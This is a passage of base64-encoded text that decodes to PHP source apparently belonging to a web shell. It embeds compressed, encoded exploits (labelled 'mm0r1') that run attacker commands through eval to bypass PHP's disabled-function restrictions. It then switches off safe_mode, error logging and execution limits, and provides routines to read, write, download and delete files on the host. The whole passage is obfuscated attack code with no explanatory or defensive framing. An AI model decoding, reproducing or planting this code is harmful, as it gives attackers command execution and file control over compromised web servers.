FZGRlVDV2JXWlV6Wjd0dXFyS282WTNBOFNyS01lZm8zRU9WNTdqeEVZOHhqdjNmTG1EZ2MzU0NYUklXREdtS0duZWc4NjF2OTYwV2ZOdjZkKzFMMGJPODNhZFMwcVJobHY0cEIyRVZUclV3QmNOSFJkRmlqUThmZG4vOTNMMGVpY3Z1NktKL3h0a1JwTzdIN29oN1QzRFgzZUdYN2xBTWh2MVIvN1QvU1FFdlJxTkIwUGJiYStpUEo2UHVieWUvaTk3VnFEczhQem50S3Z6cHg5NUd1QlorZFhLcGdWa1JoZG1rcUpzMUtCNHBMdnJYby84Q0RydVgvVkZYbkp5ZERSVzB2ZlBHYjhGbncvR253OTVnSk01N243cHpGZVl2N0FsMmNERUFtWmU5Sy9IbDVOTm5oZjJqU0hNSHk1KzMwY2UwTDh5eTRvZVlWWmxJOHlpYnhmS0kreW80SUtKNFArY1FVYnlmSk56MU51eU8weHFydmpCUlZoOGhkQk95S0dVdXhtRXRvUVU4Q3dwblRTRktxSXBZTERCL1ZwU0p3eVk4OUxnUHlzb2NpWTR1cy9JdXpCeVV2YjhuWWtrY3FHaWFvS0VreGNYeUJqbU9kUm50SXFPd2VLeDJ1ZVZUVFpzRGREQ3JxNkNtUnFQUjdIWERYcWZjWFRYRlhWcnI2WWFzbUdmVjNyOHhPNnBZSUZ2bnYwYXQ1YmNwVk5UeDd5QnRNU0lnZXE5Ny9TdXNJalphaG5WSmhRSVA3c0lxcUdaNUFCNE1zSmFSZVJTMzZ5eERlQWFudXB4OUo2dkZBZmJkMTlaM0tDdjQ0OFBZcG5GbkV3bkgzZTlZVG9OWE1IYTR4enYrTG8xN05DcktQb3h2OE91M2FHelR1RVBqTG8ySVBpRHVBWEVQaUh0QTNBUGd2Z3FVb2tYWkxCUlZKT2hkZVlHTkhpWlFZTEZSYzkyNlRiZlRIc1R1aFRPWHpSbGtPTkpoNGpJUy8vVTdDa09jei9ISzRDUFA1NitoSGZsMUVkM3l1U0tFWEZTQnc3ZXRWbXZ0YU5JWVQ0QUp0YzNGRGU0WFVGZUdVNEZTc2R0a0tUUWJoN2FBbjlrMkNBODQ1azhUbFlkQlFBazl5OU43bkxzK3dqeW16UGVNOVI1cjY4dUNDVG80U25VdFRUQ1h5ZFVZWEcyNk9sTDF6WElpdzFqRmh6MHU0b2U1ZzZsbEpuQ1BxcDlzSSthUENTU2ZzNTNJUXRscnJnUTJ0RW04VFNVUTltYmpYdXZ0dnJrcEFWb2hqcGoxcllJUzZMS2wyOEpjR1VnMXdoSDVVYlhsOVNPMXh2NXp4eVZSVnRSU2diVkpKditOLzFEQW1yczJOVVk3amNrRnVGNkVLSkN3K3BIVHlBTkxNVWxJREkxYitVQWRBcXJoVEdxdjB5NVFISDNxV0tkWGxnZXZGOHFuZzJqWGM5cnYzKysyWGZZM00yUzFXVi9Kelc0RVA2RVFUdDlPRm1HaDZ4WVpzYWVWWHIrS0xLUHM1cUdVQy9Nc1N4V3crZVdqTHFzMGJ4SUhieDd0bDlIaVE3Y05LdDlLQk0zU21BVnNwN01QQW1INmtxWjBtOVBXa1Q0R3NrcDhEdnlTSFFEUjFPZ2wzZEFMQ0htM1NvUGRlSytYWVVNNmc0N09ta0JYLzFld3Vhei9BM2M0cTU4PScpOwoKCSRwb2NzWydtbTByMV9maWx0ZXInXSA9IGFycmF5KCd2JyA9PiAoJHYgPj0gNzAwMDAgJiYgJHYgPD0gNzAyMzQgfHwgJHYgPj0gNzAzMDAgJiYgJHYgPD0gNzAzMzMgfHwgJHYgPj0gNzA0MDAgJiYgJHYgPD0gNzA0MjUgfHwgJHYgPiA4MDAwMCAmJiAkdiA8IDgwMDEzKSwgJ3InID0+ICdwd24oJCcuJGMuJyknLCAnYycgPT4gICdlTnFkV0cxM21rZ1UvcDVmTWR2amliaGlBNXFvaVRGN1RFM1Q3TFpwR3ROK2FMZUhNOElncEFpY0FhSnBOLzk5N3d3UWh3RTBwMzVRWk81OTd2c0wySWx2eG03Z28zRGxLdzF6YWJYUXJ6MEVINHZZcmsrVTVwdDNuNi8vTWFhVHU0a3h1L3A2MFZTUnR1NXJyVkVGVVhiKzllSjZha3d2emo5Zkd1ZWZyOTVQMFY5SUFrRnRBT2xxNkVRK2tHRGZYcjIvdTdqZGdxdXRCd3hGV3gvSkdzM3VicSt1TDNOV1dYNEhXUFFoL09peUlSK21RTTc5a0I3WUFWVWFMaG9qYllUZzl4VHAvS0xkenYzRVBvMEZEWUxsdCs5QWRyTmFuNXhnend0TVJWQWhBM3ZpMzFGTUNWNGF0dXZGaEJxVUxOd0lMcFFtUkNDN0NTbzBBYWlac1RWc0M1RHRJQ1ErVURuaHljSEJraXdEK3Nqb1ZqbFZFUmFIUUcwcHdLcUt3TGxWSytyR2hKK2lKcGZ6dExkbmVqaUswRHZpaFlTaVh5aE01cDVyb2dZR2Y4eVpUMGFnZjBvRHVpR3lqa0ZBaEVBZkk0bEFZaW9oODBwSTNRY2NFK0NlbXlyL05yQmwwVkh4ME9HeTFQeUNrMnorQmJZdDBTZllEdG01SFk3MjBwTlVSenRQNGxRSENKZ1BaRUVTcTJpL1lRWitsQ3lKeFV6d2dzajFGMkxvWEZ2WjNLWWtUcWcvZWo3TVhEcFB6QjhrTnBiNEJ6RzQ0L0RjSTB4SWEwUGFpQjAzNnB5bEN2aDRTWGJsQWc4RGt3eElLVzhxcll5NUNCVGhacW9qdXBtOW5SazNrOW5NK0hpZEoxZkJXYzgrWWV4aXJxYWdFQkhRY0wra2R1WllnWktiRFo0M2d2azlVMFErVDZNRllENVpaZGt6cXFicG5NMVpIbWVLS1kwMTZQVlVROHR6QWFnM3Z1bUdNVlUyalFiOWlicFpIYmZndDNnd3FqQlhRaFRGaU94MStrQTIxakhMTWxLdEJLQ00zTUcrNVJFYWJUT3JIUDZRa2hCVFluZ0VBa0hGVkdqTVhSL1RSMzZ5d1lRa2dycVhSYmJSc0I3YUJBUS9DUlVSVUtSbWFab0FYWFZNeW41aTdiMDNyRUl3aWF4b0Fac3g2bHJCUkJ5NXBzRnlSbkRiQXFwUk9GQUVlSkgzcDJzYjBTTTAxMldSTmIybmlOZ2ltODBTUGtlc0NudHFZbDNHbFNZR21OUWI4dXYyR0tJZzFLSVFpcndoeTdMYndLZHU5VmpEYlFuYVArMjlHSmpGU0VXNmlnNExWWjJsRENPS1NNemEyTHNiNDhQazc0KzN4cGVMMjluVngyczBIb01oNHZqdEQwY3ZseXRKVU1WQUZUUXA4TlpYYjdzaVpKMXl5T28wck1sZXRVSitSZmZMUzBjSWdTSTN2WllDYTBWcmU1Y3VkdGx5djJhajd3VkxnRGpjTjR3cUNySDVRMmwrK3ZTcHlTT3VzUzF1ZWpHWm5rOG0wemZhOUVKTW9WSUNDOE9ydlB2VVNYejE3MXJUWHBVeXM4NSt1Y3VKSG9CRzg3STZoQ1pYRitVTVEwWGQxZzZTckFtcHFGOEk5d1AydGlpaHJROXJSV2VjYW5YdUZ0VnY3UUJoTkN4Mmt4M3B0TFd6aTc2RmRjSllZR3ZCSzEyazJpaGlCVks0T3gyQlRRZ3dXam11OTV3R2FiUGFFRUxpdGRBZjBEbTA5WnRlbloyYVdwcW0yYk5DQnluYkd0RlIxb2kwVmgwMHEraU5OanY4bHlxZjdhTStrdnIyemdaU0NLcmVaeHZ3ODJKUUdHOFExb1NOUk1nOUR3cGI2aHltUU1vV1ZaLzdqNm1TYys2UGthS2owMVBFRHVHbjEyTExrRDRTNWtDMk1LWU0yNjNPREdJNzlrT1YzYVhPMFBDckc4SW1odDhhSVo5UjdObklkSUQ5QWUyREYyeGJNQzMxQkRvN0c0djF1NzFmbEZZQTNwOEZOZEpjakdsQ1pPVU9EdEFWUkJqS0E3bCtGR1BmSkJHS0hZTFl0WVdwaFphQmxYZ0VMZDJGRXlQUEpRamI3TkdHMGZBNHJraVRjbklhdzNPRERNNmhDS2FtZzJ3YUxGK2pPM0FHV3JtZUI3R0lFaThHc1FpajJkWGw3UElMNkVsOGtRVXl6M1JBSWV5anhGK3l4emdMdXZlQ3ZLNndJWFp3akV3Y0VSVjhpLzBGS01PaExKZVMxRTJCTFdKSFRwQjRGandscmZsZGsrTElLZUdtcWRvZTgxeVZncFJtY2RVUlMwK3g3dFBTT1d6eEVvVitOVVQ3K3dVR3p1UWJtRkw4V0dhRm5EbGs3R3FKaDMyK2RUWDlTTmYwTHJSelRlOXJQYTNIcndiYVFCL3lxNkUyNk9uODZsZzcxamhkVjlPT2U5cjNscHdPM0xBMDRnWjdBcEkyallKT3JCTkppU3V6eTV3eWNnVTc4MTBCZ2J1c2Z6am85dlgrWVovMDljSGhvRmVsdDFqZjFlb09LK1E5N1ZYLzIxMXhWWnV6MkJkejF3bm5XK1pJd3phSUg5UEhLbWZMN2NHdWRHNEdrTTVxMmFWMndadFcvNGg1Y1hCYzdja3RYcFJkK0ZSUkU3eGN1bHJGTU14dDVKTnZ4OVI1WGliTHM4YjV6ZlhQRWJlL0p0LzhwQUc3ZGZVVDNzQmwwK3NsRzZEekd3dmc4OU1rczFPcm5McE1XeEpGWEwyaXl2Y3NNZngwOHNHZnM5U0ErMDZuTkpoeWpOUFR3ckFwblAwM1JnRzFsTklRdS85ZSthQ1ZwMDdHdm1NeEF6TWpibVpjdlZvRUNkdkVtczJDaGVpRlk1Y3h2ODRHTFFpb0diWHNwSExZaXRZQVZNRVNtSGF4K0tvdGZhL1ZpTnlmaFFHYnNiTmRPbklTMjRZU1lOZXdqaEljSzgwSmU3dktlWjVMNFdudmYyMTFMbzQ9Jyk7CgkKCSRwb2NzWydtbTByMV9jb25jYXQnXSA9IGFycmF5KCd2JyA9PiAoJHYgPT0gODAwMTMgJiYgJHYgPT0gODAwMTQgfHwgJHYgPiA4MDEwMCAmJiAkdiA8IDgwMTIwKSwgJ3InID0+ICduZXcgUHduKCQnLiRjLicpJywgJ2MnID0+J2VOcXRWMXR2bzBZVWZzK3ZtRnJJZ3Bxc3dFNXRKdzZwdkUyMFNTL1pOSmMrckd1aE1ReHJFZ3pXQUJ0bnQvN3ZQVE5jUEF3UVo2dGFpand4NTN6bi9zM0JDWEFjbzBzU3JBbEYzOUE2WFFTK2d4U3NJMlVCZjg0RWJROGNMblB6SEtKdkJ3ZytUaFRHQ2ZybDh1SDZOL3Q4ZWorMTc2NCtYU0FMR1p1aE1hbEo1QTgvWFZ5ZjIrY1g3eDgrMk84ZnJuNC9SeitqbUFUZXlZbU0wd09jdm9GT21oK0wrSGYzdDFmWEh3b0R6V2lIZ0dhTzRjdWNIQWlxbC9jN3AwMXpQSkVlTlFBWEdqWEFQR1ZlR2pxSkg0WEl0amtPVFoxRVZaeVZxK1ZaWXg4dm9xcmlNNnNUQk4rbnlPU0hYazhVWWgvbE00MmkxV3hlbXNkQkVEbHFkaGJjMHladlY2c0dKbWh1eTFONVVDQUdCeWMyeEdGajE2VWxJUHpRWHljUVJiTDA0OE96SmNGck95RDRTZFYwWkE0RlVNWHpnK0FON3U4VU1rUzhjTDRqYUFYRUN3ZHJQdmNxUFpGMWoyek9vNFNvSllxSVhBVElKOE5DSVhuT3gyUW40M3NxR0F0SXFPNmMxNkNxMENHRHdVaXVLU1ZKU2tNeDdjM0dBQWJzZFFKQ2tzNmtUV1FCSWtYTHFjb0diRzFiWlIzZTVoNGhyb2NkSXVZZ2s3Q1hPSFFEUW1PV3hFeVZrc0NtQkx1cVVTbVJFMFJ4U2ttWmNWa1lCcmRSM2lHaU5FaFdrZGpJbTRhUS9CM0NBc2UrWTdOSUJlOCtrOFFXSHFpQ25ZcjVyNzVueHk5eFFsWlYzZXczVlFTdjZIbjRDYkJ5ek1qemVQNUd4cVI5amxuRngvemNzOUM0TnMyN1BEMVRQNEdHcTFub2dhNythb29VWDJ1YzJUZUJHNXZCR0FaVVIwZGlpK2QxWnpJeFNTQ2NtOHNiKzQvcHJ4OXY3Yjh1YnUrdVBsNGp5NEo0Z0t0Wi9NREpRUEhqeWZlWmxxem9ZbG5hczE1MFdEbmZQZFFjRnlQdmRvZFlSK29OMEVJV1ZIbXl0SXkyM3dEYmdwaUdFR2NkTmhQSXAzNU4vUzg0SWJ0clEyQlNvWHNVVEZrYVpyTzVqbWJ6K2M0R1dMQUpwVkU1dkdySkJocEtZNExVTHRQVlVWZFpwRjZ0SVROWVU3bzlRSkp4TC9BbkpXdUNFN1h6OThZd09qcmFkNEZVR0puU21UbEg3L2FRT055Z09YZDJwcFRpbDQ3WTNSbFZjb2RlejFwTzN5ei9ZdGJXK0NXSXNBdkJyTEh6cEhiKy9CR0NNRFl1ek5XQ0VJK2RIZXlSQlY0UUtLUE0vSVgydTJvdXBpMkoyRVZTYUdxTlZQYi9sSko5RldiK1kxVUxmU0NFL1VYc2JEcXZsNkJrZnlVYmNOR3J2STZOcXdOTU51USsxOWx2SWllWWtrUys0Q0JseFF1UlJMakF6YWhLemtyWXNtU1Zqc3h5WEU2emJIdHlsdUFuTjRHNjdPNzA1RVVyZTNaMkJzWmxVbTZQZ2lXSk5WdVQydzBjWXhwNWMyWkxwM2hCNXZZdFZOMC95Z1ZDcXl3cFlPMEhLN05YYUhZdHBKcm85QlN4aC9BMTBEUyswd29YU3pHRVhPSDFBclZkcWhVbXl4bGRlTDV6MG8zazJuZzJDUlA2SXU4TjBxem1vaUZlMVRhTUhFQkhRMG1lSmFSUXNmaGJpenY4YVhRMEdveU9Sd081UjhSRXlINUF0NHdsN0swMGtGeks0bTgwUXB1ZzU2VWZrTkpGWGh4RDI1L2l5czRqazE2R0NlOGRwTTRMdklmNHU0NVJ6NFVjRmxzUzhzeE14NmpicmVYREQyM01LRnR0eXNnUlU5ZHJPdXd6Nnh2bTJCZ05ZQTJCMDdGeGJQVFpxVzhZeHdPRG4wejIyMXhyS29LeWl0dzBJTHh1dGYxVHNKL3ZvSytweTVveWNvTTZ5MU1GSVd1Y28xRi9hQTZQaG1Sb3NnWnE4bnRQQTRHNzR3WjcyNWF1cWpCTW5PQkVmUFBNYmxvbDlyK1NKaEtHQ3lCZXBwNEhYU0pmYTVsT3RRTmw5SksrNFFBYWEwYXdqVVRHSWlOeHpBbTR1akUvc3N5SEdjL0FQMmNaUlQ4ZUhqWjJMTU00UGEwUWJPWFpQeGFLcU12OW1ZRTdRTjJQODhZTnVVaC9ybGhFdVQzNEYxMWlrZVU9Jyk7CgkKCWZvcmVhY2goJHBvY3MgYXMgJHBvY25hbWUgPT4gJHBvYykKCXsKCQlpZighJHBvY1sndiddKSBjb250aW51ZTsKCQkKCQlzd2l0Y2goJGNtZCl7CgkJCWNhc2UgJ2NoZWNrJzoKCQkJCXJldHVybiAkcG9jbmFtZTsKCQkJYnJlYWs7CgkJCWRlZmF1bHQ6CgkJCQlvYl9zdGFydCgpOwoJCQkJZXZhbCgnJCcuJGMuJyA9IFwnKGVjaG8gInZpYSAnLiRwb2NuYW1lLic6IjsnLmFkZHNsYXNoZXMoJGNtZCkuJykgMj4mMVwnO2VjaG8gJy4kcG9jWydyJ10uJzsnLmd6dW5jb21wcmVzcyhiYXNlNjRfZGVjb2RlKCRwb2NbJ2MnXSkpKTsKCQkJCSRyZXMgPSBvYl9nZXRfY29udGVudHMoKTsKCQkJCW9iX2VuZF9jbGVhbigpOwoJCQkJCgkJCQlpZihzdHJwb3MoJHJlcywgJHBvY25hbWUpKSByZXR1cm4gJHJlczsKCQl9Cgl9CgkKCXJldHVybiAoaXNzZXQoJHJlcykgPyAkYy4nIGZvciAnLiR2LicgZmFpbHMgOyggJyA6IGZhbHNlKTsKfQoKIwojCiMKCiRpbmkgPSBhcnJheSgKCSdkaXNhYmxlX2NsYXNzZXMnID0+ICcnLAoJJ2Rpc2FibGVfZnVuY3Rpb25zJyA9PiAnJywKCSdkaXNwbGF5X2Vycm9ycycgPT4gMCwKCSdlbmFibGVfcG9zdF9kYXRhX3JlYWRpbmcnID0+IDEsCgknZXJyb3JfbG9nJyA9PiAnJywKCSdlcnJvcl9yZXBvcnRpbmcnID0+IDAsCgknZmlsZV91cGxvYWRzJyA9PiAxLAoJJ2xvZ19lcnJvcnMnID0+IDAsCgknbG9nX2Vycm9yc19tYXhfbGVuJyA9PiAtMSwKCSdtYWdpY19xdW90ZXNfZ3BjJyA9PiAwLAoJJ21hZ2ljX3F1b3Rlc19ydW50aW1lJyA9PiAwLAoJJ21hZ2ljX3F1b3Rlc19zeWJhc2UnID0+IDAsCgknbWF4X2V4ZWN1dGlvbl90aW1lJyA9PiAwLAoJJ21lbW9yeV9saW1pdCcgPT4gJzEwMjRNJywKCSdvcGVuX2Jhc2VkaXInID0+ICcnLAoJJ3NhZmVfbW9kZScgPT4gMCwKCSdzYWZlX21vZGVfZXhlY19kaXInID0+ICcnKTsKCiRzeXNpbmkgPSBpbmlfZ2V0X2FsbCgpOwoJZm9yZWFjaCgkaW5pIGFzICRrID0+ICR2KQoJCWlmKGlzc2V0KCRzeXNpbmlbJGtdKSAmJiAkc3lzaW5pWyRrXVsnYWNjZXNzJ10gPT0gNykKCQkJaW5pX3NldCgkaywgJHYpOwoJCnNjcmlwdEluaXQoKTsKCmZ1bmN0aW9uIHVuUXVvdGUoJGEpewoJZm9yZWFjaCgkYSBhcyAkayA9PiAkdikKCQlpZihpc19hcnJheSgkdikpCgkJCSRhWyRrXSA9IHVuUXVvdGUoJHYpOwoJCWVsc2UKCQkJJGFbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsKCQkJcmV0dXJuICRhOwp9CgkKZnVuY3Rpb24gcHJlcFZhbHMoJiRhLCRrKXsKCWZvcmVhY2goJGEgYXMgJGkgPT4gJHYpCgkJaWYoaXNfYXJyYXkoJHYpKSBwcmVwVmFscygkYVskaV0sJGspOwoJCWVsc2VpZihzdHJsZW4oJHYpPjIpewoJCQkkciA9ICcnOwoJCQkkdiA9IGV4cGxvZGUoJGssICR2KTsKCQkJZm9yKCRuID0gY291bnQoJHYpLTE7ICRuPj0wOyAtLSRuKXsKCQkJCSRjID0gYXJyYXlfcG9wKCR2KTsKCQkJCWlmKCRjID09PSAnJykKCQkJCQkkYyA9ICRrOwoJCQkJaWYoJG4lMiA9PT0gMCkKCQkJCQkkciAuPSAkYzsKCQkJCWVsc2UKCQkJCQkkciA9ICRjLiRyOwoJCQl9CgkJCSRhWyRpXT0kcjsKCQl9Cn0KCmlmKGRlZmluZWQoJ0NFRCcpKQoJJEQgPSB1bnNlcmlhbGl6ZShwYWNrKCdIKicsIENFRCkpOwplbHNlewoJaWYoaXNzZXQoJF9SRVFVRVNUWydhJ10pKQoJCSREPSRfUkVRVUVTVDsKCWVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ2EnXSkpCgkJJEQ9JF9SRVFVRVNUOwoJZWxzZQoJCSREPWFycmF5KCk7CgkJCglpZihmdW5jdGlvbl9leGlzdHMoJ2dldF9tYWdpY19xdW90ZXNfZ3BjJykgJiYgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKCQkkRCA9IHVuUXVvdGUoJEQpOwoJCglpZihpc3NldCgkRFsnayddKSl7CgkJJGsgPSAkRFsnayddOwoJCXVuc2V0KCREWydrJ10pOwoJCXByZXBWYWxzKCRELCRrKTsKCX0KfQoKJEMgPSBhcnJheSgnJz0+J1VURi04JywnVVRGLTE2JywnV2luZG93cy0xMjUwJywnV2luZG93cy0xMjUxJywnV2luZG93cy0xMjUyJywnV2luZG93cy0xMjU0JywnV2luZG93cy0xMjU2JywnV2luZG93cy0xMjU3JywnSVNPLTg4NTktMScsJ0lTTy04ODU5LTInLCdJU08tODg1OS03JywnSVNPLTg4NTktOCcsJ0lTTy04ODU5LTknLCdJU08tODg1OS0xMycsJ0JpZzUnLCdHQksnLCdTaGlmdF9KSVMnLCdFVUMtS1InLCdFVUMtSlAnLCdJQk04NjYnLCdLT0k4LVInLCdLT0k4LVUnLCk7CgpkZWZpbmUoJ1ZFUicsICcxLjMnKTsKZGVmaW5lKCdEU0MnLCBESVJFQ1RPUllfU0VQQVJBVE9SKTsKZGVmaW5lKCdOSVgnLCBEU0MgPT09ICcvJyk7CmRlZmluZSgnUk8nLCBpc3NldCgkRFsncm8nXSkgPyB0cnVlIDogZmFsc2UpOwpkZWZpbmUoJ1RNJywgaXNzZXQoJERbJ3RtJ10pID8gdHJ1ZSA6IGZhbHNlKTsKZGVmaW5lKCdDU0UnLCBpc3NldCgkRFsnYyddKSA/ICRDWyREWydjJ11dOidVVEYtOCcpOwoKb2JfZW5kX2NsZWFuKCk7CmlmKCFSTykgb2Jfc3RhcnQoKTsKCmlmKCFkZWZpbmVkKCdDRUQnKSl7CglpZihpc3NldCgkRFsnYSddKSl7CgkJJG1kNSA9IG1kNShyYW5kKDAsIDc3Nzc3NykpOwoJCWlmKGlzc2V0KCREWydkJ10pKXsKCQkJaWYoJERbJ2EnXT09PSdmJyl7CgkJCQlpZihpc19hcnJheSgkRFsnZCddKSl7CgkJCQkJCSREWydEQlAnXSA9IHNhbWVQYXRoKCREWydkJ10pOwoJCQkJCQkkbiA9ICRtZDUuJy56aXAnOwoJCQkJCX0KCQkJCQllbHNlaWYoaXNfZGlyKCREWydkJ10pKQoJCQkJCQkkbiA9ICRtZDUuJy56aXAnOwoJCQkJCWVsc2UKCQkJCQkJJG4gPSBmaWxlTmFtZSgkRFsnZCddKTsKCQkJCQkJJG4gPSBlc2NGaWxlTmFtZSgkbik7CgkJCX0KCQkJZWxzZQoJCQkJJG4gPSAkbWQ1LicuemlwJzsKCQkJCQoJCQloZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7CgkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuJG4uKFJPID8gJycgOiAnLmd6JykuJyInKTsKCQl9CgkJZWxzZXsKCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9Jy5DU0UpOwoJCX0KCX0KCWVsc2UKCQloZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PScuQ1NFKTsJCQp9CgkJCQkJCmZ1bmN0aW9uIGVzY0hUTUwoJHYpewoJcmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5KCcmJywnIicsJzwnLCc+JyksIGFycmF5KCcmYW1wOycsJyZxdW90OycsJyZsdDsnLCcmZ3Q7JyksICR2KTsKfQoKZnVuY3Rpb24gc2VsZlBhdGgoKXsKCWlmKGlzc2V0KCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpIHJldHVybiBmaWxlUGF0aCgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOwoJaWYoaXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkpIHJldHVybiBzdWJzdHIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwtMSkgPT09IERTQyA/ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gOiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLkRTQzsKCWlmKFBIUF9WRVJTSU9OID49ICc1LjMnKSByZXR1cm4gc3Vic3RyKF9fRElSX18sLTEpID09PSBEU0MgPyBfX0RJUl9fIDogX19ESVJfXy5EU0M7CglyZXR1cm4gZmlsZVBhdGgoX19GSUxFX18pOwp9CgpmdW5jdGlvbiBmaWxlUGF0aCgkcCl7CgkkcCA9IHJ0cmltKCRwLCBEU0MpOwoJcmV0dXJuIGltcGxvZGUoRFNDLCBhcnJheV9zbGljZShleHBsb2RlKERTQywkcCksIDAsIC0xKSkuRFNDOwp9CgpmdW5jdGlvbiBmaWxlTmFtZSgkcCl7CgkkcD1ydHJpbSgkcCwgRFNDKTsKCSRpPXN0cnJwb3MoJHAsIERTQyk7CglyZXR1cm4gJGk9PT0gRkFMU0UgPyAkcCA6IHN1YnN0cigkcCwkaSsxKTsKfQoKZnVuY3Rpb24gd3JpdGVGaWxlKCRwLCRjKXsKCWlmKCR2ID0gZm9wZW4oJHAsJ3diJykpewoJCWZsb2NrKCR2LExPQ0tfRVgpOwoJCWZ3cml0ZSgkdiwkYyk7CgkJZmZsdXNoKCR2KTsKCQlmbG9jaygkdixMT0NLX1VOKTsKCQlmY2xvc2UoJHYpOwoJCXJldHVybiBUUlVFOwoJfQoKCWlmKFBIUF9WRVJTSU9OPj0nNScpewoJCSR2ID0gZmlsZV9wdXRfY29udGVudHMoJHAsJGMpOwoJCWlmKGlzX2ludCgkdikpIHJldHVybiBUUlVFOwoJfQoKCWlmKFBIUF9WRVJTSU9OPj0nNScpIDogaWYoUEhQX1ZFUlNJT04+PSc1LjEnKXsKCQl0cnl7CgkJCSR2ID0gbmV3IFNwbEZpbGVPYmplY3QoJHAsJ3diJyk7CgkJfQoJCWNhdGNoKEV4Y2VwdGlvbiAkZSApewoJCQkkdj1GQUxTRTsKCQl9CgkKCQlpZigkdil7CgkJCSR2LT5mbG9jayhMT0NLX0VYKTsKCQkJJHYtPmZ3cml0ZSgkYyk7CgkJCSR2LT5mZmx1c2goKTsKCQkJJHYtPmZsb2NrKExPQ0tfVU4pOwoJCQl1bnNldCgkdik7CgkJCXJldHVybiBUUlVFOwoJCX0KCX0KCWVuZGlmOwoJCglyZXR1cm4gRkFMU0U7Cn0KCmZ1bmN0aW9uIHRlbXBOYW1lKCl7CgkkYSA9ICdwb2l1eXRyZXdxbGtqaGdmZHNhbW5idmN4ek1OQlZDWFpMS0pIR0ZEU0FQT0lVWVRSRVdRMDk4NzY1NDMyMSc7CgkkdiA9ICcuJzsKCWZvcigkaSA9IDA7ICRpIDwgODsgKyskaSkgJHYgLj0gJGFbcmFuZCgwLDYxKV07CglyZXR1cm4gJHYuJy50bXAnOwp9CgpmdW5jdGlvbiB0ZW1wRmlsZSgkdil7CglpZigoJG4gPSB0ZW1wbmFtKE5JWCA/ICcvdG1wJyA6ICdjOlxcVGVtcCcsICcnKSkgJiYgKHdyaXRlRmlsZSgkbiwgJHYpKSkgcmV0dXJuICRuOwoJJGEgPSBhcnJheSgndXBsb2FkX3RtcF9kaXInLCdzZXNzaW9uLnNhdmVfcGF0aCcsJ3VzZXJfZGlyJywnZG9jX3Jvb3QnKTsKCQoJZm9yZWFjaCgkYSBhcyAkaykKCQlpZigkbiA9IGluaV9nZXQoJGspKXsKCQkJJG4gLj0gRFNDLnRlbXBOYW1lKCk7CgkJCWlmKHdyaXRlRmlsZSgkbiwgJHYpKSByZXR1cm4gJG47CgkJfQoJCQoJCSRuID0gc2VsZlBhdGgoKS50ZW1wTmFtZSgpOwoJCQoJCWlmKHdyaXRlRmlsZSgkbiwgJHYpKSByZXR1cm4gJG47CgkKCXJldHVybiBGQUxTRTsKfQoKZnVuY3Rpb24gZ2V0RmlsZSgkcCl7CgkkdiA9IE5VTEw7CgkKCWlmKCR2ID0gZm9wZW4oJHAsJ3JiJykpewoJCSRyID0gJyc7CgkJd2hpbGUoIWZlb2YoJHYpKSAkciAuPSBmcmVhZCgkdiwgMTA0ODU3Nik7CgkJZmNsb3NlKCR2KTsKCQlyZXR1cm4gJHI7Cgl9CgkKCWlmKFBIUF9WRVJTSU9OID49ICc0LjMnKXsKCQkkdiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwKTsKCQlpZihpc19zdHJpbmcoJHYpKSByZXR1cm4gJHY7Cgl9CgkKCSR2ID0gZmlsZSgkcCk7CglpZihpc19hcnJheSgkdikpIHJldHVybiBpbXBsb2RlKCcnLCR2KTsKCQoJaWYoUEhQX1ZFUlNJT04+PSc1JykgOiBpZihQSFBfVkVSU0lPTj49JzUuMScpewoJCXRyeXsKCQkJJHYgPSBuZXcgU3BsRmlsZU9iamVjdCgkcCwncmInKTsKCQl9CgkJY2F0Y2goRXhjZXB0aW9uICRlKXsKCQkJJHYgPSBGQUxTRTsKCQl9CgkKCQlpZigkdil7CgkJCSRyID0gJyc7CgkJCXdoaWxlKCEkdi0+ZW9mKCkpICRyIC49ICR2LT5mZ2V0cygpOwoJCQl1bnNldCgkdik7CgkJCXJldHVybiRyOwoJCX0KCX0KCWVuZGlmOwoJCglpZihSTyAmJiBkZWZpbmVkKCdGT1JDRV9HWklQJykpewoJCWlmKCR2ID0gZ3pvcGVuKCRwKSl7CgkJCSRyPScnOwoJCQl3aGlsZSghZ3plb2YoJHYpKSAkciAuPSBnenJlYWQoJHYsIDEwNDg1NzYpOwoJCQlnemNsb3NlKCR2KTsKCQkJcmV0dXJuICRyOwoJCX0KCQkkdiA9IGd6ZmlsZSgkcCk7CgkJaWYoaXNfYXJyYXkoJHYpKSByZXR1cm4gaW1wbG9kZSgnJywkdik7Cgl9CgkKCWlmKFJPICYmICR2PW9iX3N0YXJ0KCkpewoJCWlmKGlzX2ludChyZWFkZmlsZSgkcCkpIHx8IGNvcHkoJHAsICdwaHA6Ly9vdXRwdXQnKSB8fCAoZGVmaW5lZCgnRk9SQ0VfR1pJUCcpICYmIGlzX2ludChyZWFkZ3pmaWxlKCRwKSkpKXsKCQkJJHIgPSBvYl9nZXRfY29udGVudHMoKTsKCQkJb2JfZW5kX2NsZWFuKCk7CgkJCXJldHVybiAkcjsKCQl9CgkJb2JfZW5kX2NsZWFuKCk7Cgl9CgkKCXJldHVybiBGQUxTRTsKfQoKZnVuY3Rpb24gZGVsRmlsZSgkcCl7CglyZXR1cm4gKHVubGluaygkcCkgfHwgKE5JWCAmJiByZW5hbWUoJHAsJy9kZXYvbnVsbCcpICYmICFpc19maWxlKCRwKSAmJiAhZmlsZV9leGlzdHMoJHApKSk7Cn0KCmZ1bmN0aW9uIG5lc2MoJHYpewoJcmV0dXJuICInIi5zdHJfcmVwbGFjZSgiJyI